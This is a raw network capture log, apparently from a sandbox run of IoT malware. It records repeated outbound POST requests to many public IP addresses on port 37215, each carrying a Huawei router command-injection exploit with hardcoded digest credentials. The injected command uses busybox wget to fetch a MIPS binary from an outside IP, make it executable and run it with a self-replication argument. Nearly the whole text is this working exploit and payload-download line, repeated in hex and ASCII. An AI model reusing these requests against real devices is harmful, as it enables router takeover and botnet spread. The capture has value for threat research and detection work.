Aug 1, 2024 15:34:55.606985092 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.14	39804	38.93.44.240	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607006073 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.14	39524	41.189.13.212	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607027054 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.14	55634	184.46.233.237	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607076883 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.14	53402	197.206.139.104	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607081890 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.14	50420	157.194.219.212	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607121944 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.14	33660	197.91.38.97	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607131958 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.14	51244	157.220.82.146	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607167959 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.14	38260	107.106.86.9	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607198000 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.14	36160	197.190.55.55	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607260942 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.14	59474	197.13.177.97	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607315063 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 